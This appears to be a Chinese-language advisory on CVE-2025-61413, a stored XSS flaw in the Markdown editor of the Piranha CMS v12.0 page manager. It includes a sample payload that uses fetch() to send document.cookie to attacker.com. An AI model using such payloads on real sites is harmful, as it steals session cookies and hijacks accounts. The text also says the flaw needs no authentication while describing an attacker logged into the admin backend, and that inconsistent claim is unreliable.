CVE-2025-61413CVE-2025-61413是Piranha CMS v12.0中发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于管理后台的页面管理组件(/manager/pages)中,攻击者可以通过创建新页面并在Markdown编辑器块中注入恶意JavaScript代码。当其他用户访问包含该恶意内容的页面时,攻击者的脚本代码将在受害者浏览器中执行,从而窃取会话cookie、劫持用户账户或进行其他恶意操作。由于该XSS payload存储在服务器端数据库中,所有访问该页面的用户都会受到攻击影响,因此具有广泛的攻击面和较高的危害性。Piranha CMS是一个基于.NET Core的开源内容管理系统,广泛用于构建企业网站和Web应用程序。该漏洞无需认证即可利用,但需要用户交互触发,是一起典型的存储型XSS安全事件。
该漏洞源于Piranha CMS v12.0在处理Markdown内容时未对用户输入进行充分的HTML转义和过滤。攻击者登录管理后台后,导航至页面管理功能(/manager/pages),创建新页面或编辑现有页面。在页面的Markdown编辑器中,攻击者可以插入包含恶意JavaScript代码的payload,例如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于系统直接将该payload存储到数据库且未进行安全过滤,当Markdown内容被渲染为HTML页面时,恶意脚本会被浏览器执行。攻击者可以利用此漏洞窃取管理员会话cookie、进行CSRF攻击修改网站内容,或将用户重定向到钓鱼页面。该漏洞的根本原因是Markdown解析器在渲染HTML时未启用安全模式或进行输入验证,建议在Markdown渲染前对所有用户输入进行严格的HTML编码和过滤。